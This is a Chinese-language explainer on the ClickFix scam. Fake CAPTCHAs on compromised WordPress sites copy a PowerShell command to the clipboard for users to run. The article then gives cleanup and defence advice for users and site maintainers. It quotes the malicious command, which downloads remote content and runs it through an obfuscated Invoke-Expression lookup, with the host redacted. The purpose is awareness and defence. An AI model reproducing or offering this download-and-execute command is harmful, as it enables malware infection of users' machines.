核心判断：网站验证码如果勾选后没有任何“通过”表现，反而蹦出让你复制并运行 PowerShell 的说明，那不是人机验证，而是 ClickFix 手法。验证码或按钮真正做的只是把恶意命令写进剪贴板，等用户自己粘贴到终端执行。

一次真实遭遇：勾选验证码后，剪贴板里多了一段 PowerShell

当事人想访问一家本地粉末涂料公司的网站。页面加载正常，随后弹出一个很普通的 reCaptcha，要求证明自己是真人。他照常勾选了“我不是机器人”，紧接着又弹出一个窗口；这时系统剪贴板里已经被放好了一条 PowerShell 命令。

命令大致如下：

powershell -NoProfile -ExecutionPolicy Bypass -C "(irm '**removedwebsite**') | & (gcm \*ke-e\*).Name"

拆开看，irm 是 Invoke-RestMethod，负责从远程地址拉取内容；gcm \*ke-e\* 是通过通配符找命令名匹配的可执行对象；整条命令会下载内容并交给匹配到的命令执行。发布者自己说：“我不是对 PowerShell 一窍不通，但这条命令确实不是一眼就能看明白的。”他表示，如果按弹窗提示的步骤走，可能要根据“账户是否有提升权限”“环境是否锁定”决定中招程度。这个手法只在 Windows PC 上有效。

为什么有人会照做

当事人说：“我们和员工天天被这些人机验证机器人轰炸，为什么不会去按它说的做？”他自己没中招，但“百分百认识会中招的人”。这正是这类攻击设计得阴险的地方：被验证码搞得麻木之后，人会按照弹窗提示动作。

有网友指出，这就是 ClickFix：“恭喜，你被 ClickFix 了。”第一批 ClickFix 变种在 2023 年 10 月出现，之后一直有人在各种站点上遇到。另一位使用者补充：“如果它说点击就能修复一切，我为什么不照着做？”这句话恰好解释了为什么这种骗局能不断得手。

最常见入口：被篡改的 WordPress 网站

有网友说，在不少被黑的 WordPress 网站上见过同款操作，提醒“绝对不要运行那段代码”。如果可能，用其他方式联系站长，告诉对方网站看起来不对，因为站长本人往往对攻击毫无察觉。

WordPress 被盯上不是新鲜事。另一位使用者强调：“WordPress 唯一的运行方式就是做成静态网站，通过静态站插件推到对象存储里。它是插件和反复被黑的持续麻烦。设任何蜜罐或正常网站，看到的攻击流量大部分都在尝试 WordPress 漏洞。”这话说得有点绝对，但也反映了实际状态：WordPress 生态太大，一旦有漏洞就是第一目标。

一个真实的 WordPress 被 WebShell 打穿案例

更具体的是后面这个案例：有人接了一个求助，对方的 WordPress 站点被用某年 7 月公开的 CVE 打穿，服务器是 CentOS 7，没有配 WAF，插件自动更新有一半被关掉，站本身也过时。他最后做了离线备份恢复、手动清理可疑内容、整台服务器重建，在 wp-config.php 里加了自动更新配置，把站点放到 WAF 后面，并开启页面静态缓存。整个过程相当牵扯精力。

企业环境能怎么兜底？

有网友提到，自己的用户里已经有人差点中招，最终是 EDR 拦住的。同时他们不给用户本地管理员权限，所以即使命令被粘贴进去，UAC 提权弹窗也会在真正执行前拦一道，因为这类初始脚本往往试图提权。

也有人补了一句很现实的话：“半吊子的虚拟主机/网站托管服务照样赚钱，所以几乎没人愿意按‘正确方式’做事，因为不会因此多拿钱。”这也是为什么大量被黑站点会悬在那里很久。

真的遇到或已经中招，怎么处理？

普通用户：看到任何网页让你打开终端、粘贴并执行命令，直接关掉页面。如果不小心已经运行，立刻断开这台 Windows 的网络，然后查看计划任务、启动项、最近的 PowerShell 事件日志，或交给安全团队/EDR 工具检查。

网站维护者：不要只删掉页面上的恶意脚本。先检查 WordPress 核心、主题、插件、未知管理员账号和自动更新状态；条件允许时最好离线恢复备份，然后重建服务器。长期来看，把站点改成静态输出、前面加 WAF，能明显缩小被伪造验证码钓鱼的暴露面。